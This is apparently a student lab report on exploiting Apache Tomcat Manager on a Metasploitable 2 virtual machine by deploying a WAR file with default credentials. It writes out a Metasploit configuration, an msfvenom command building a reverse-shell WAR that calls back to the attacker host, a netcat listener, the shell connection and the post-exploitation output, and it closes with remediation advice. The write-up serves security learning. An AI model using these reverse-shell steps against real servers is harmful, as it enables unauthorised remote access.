Subtask 3

Metasploitable Exploitation Report

Target: Metasploitable 2
Attacker Machine: Kali Linux
Attack Vector: Apache Tomcat Manager Authenticated WAR Deployment
Tools Used: Metasploit Framework, msfvenom, Netcat

---

1. Objective

The objective of this exercise was to exploit the Apache Tomcat Manager application running on the Metasploitable 2 virtual machine by:

- Identifying valid Tomcat Manager credentials
- Uploading a malicious WAR file
- Executing the payload
- Obtaining a remote shell

This test was conducted in a controlled lab environment.

---

2. Target Information

- Target IP Address: **192.168.101.136**
- Attacker IP Address: **192.168.101.133**
- Service: Apache Tomcat Manager
- Port: **8180**
- OS Identified (post-exploitation):
  Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

---

3. Enumeration Phase

Using the Metasploit Framework, a search was performed for Tomcat Manager-related modules.

The following modules were identified:

- exploit/multi/http/tomcat_mgr_deploy
- exploit/multi/http/tomcat_mgr_upload

- auxiliary/scanner/http/tomcat_mgr_login

The exploit module selected for exploitation was:

exploit/multi/http/tomcat_mgr_upload

This module performs authenticated WAR file upload and remote code execution via the Tomcat Manager interface.

---

4. Exploit Configuration

The following configuration was applied:

Module: exploit/multi/http/tomcat_mgr_upload

Set parameters:

- RHOSTS = 192.168.101.136
- RPORT = 8180
- HttpUsername = tomcat
- HttpPassword = tomcat
- TARGETURI = /manager/html
- Payload = java/meterpreter/reverse_tcp
- LHOST = 192.168.101.133
- LPORT = 4444

The exploit was executed, but the framework returned:

Exploit aborted due to failure: unknown: Failed to execute the payload
Exploit completed, but no session was created.

This indicated that authentication and upload were successful, but the reverse shell connection failed.

---

5. Manual Exploitation Approach

Due to issues with automated payload execution, a manual exploitation method was performed.

Step 1 – Payload Generation

A malicious WAR file was generated using msfvenom:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.101.133 LPORT=4444 -f war -o shell.war

Output confirmed:

- Payload size: 1098 bytes
- Final WAR file size: 1098 bytes
- File saved as: shell.war

Step 2 – Netcat Listener

A listener was started on Kali Linux:

nc -lvnp 4444

The system began listening on port 4444.

Step 3 – WAR Deployment via Tomcat Manager

The WAR file was uploaded through:

http://192.168.101.136:8180/manager/html

Credentials used:

- Username: tomcat
- Password: tomcat

The deployed application appeared in the Applications list as:

/shell

The application status was shown as:

- Running: true
- Sessions: 0

Step 4 – Triggering the Payload

The deployed application (/shell) was accessed via browser.

Immediately after triggering, the netcat listener received a connection:

connect to [192.168.101.133] from (UNKNOWN) [192.168.101.136] 48601

This confirmed successful reverse shell execution.

---

6. Post-Exploitation Verification

The following commands were executed on the compromised system:

whoami

Output:

tomcat55

id

Output:

uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)

uname -a

Output:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

This confirms:

- Successful remote code execution
- Shell obtained under Tomcat service account
- Target operating system identified

---

7. Technical Analysis

The vulnerability exploited was:

Authenticated Apache Tomcat Manager WAR Deployment

Root Cause:

- Weak credentials (tomcat:tomcat)
- Tomcat Manager interface exposed
- No IP restrictions on Manager application

Attack Flow:

1. Authenticate to Tomcat Manager
2. Upload malicious WAR file
3. Deploy WAR file
4. Access deployed application
5. Trigger reverse shell
6. Obtain remote command execution

---

8. Security Impact

Impact Level: High

An attacker with valid credentials can:

- Execute arbitrary system commands
- Upload malicious applications
- Establish reverse shells
- Pivot to other services
- Escalate privileges
- Maintain persistence

Since Tomcat runs as a service account, this provides an initial foothold in the system.

---

9. Recommendations

To prevent this type of exploitation:

1. Remove or restrict access to Tomcat Manager in production.
2. Use strong, unique credentials.
3. Restrict Manager access by IP address.
4. Disable default credentials.
5. Use firewall rules to block external access.
6. Keep Tomcat updated.
7. Monitor logs for unauthorized deployments.

---

10. Conclusion

This assessment successfully demonstrated exploitation of the Apache Tomcat Manager application on Metasploitable 2 through authenticated WAR file upload.

While automated exploitation via Metasploit encountered payload execution issues, manual WAR deployment successfully resulted in a reverse shell connection.

The attack confirms that weak credentials and exposed management interfaces pose a significant security risk.

The target system was compromised and remote shell access was achieved.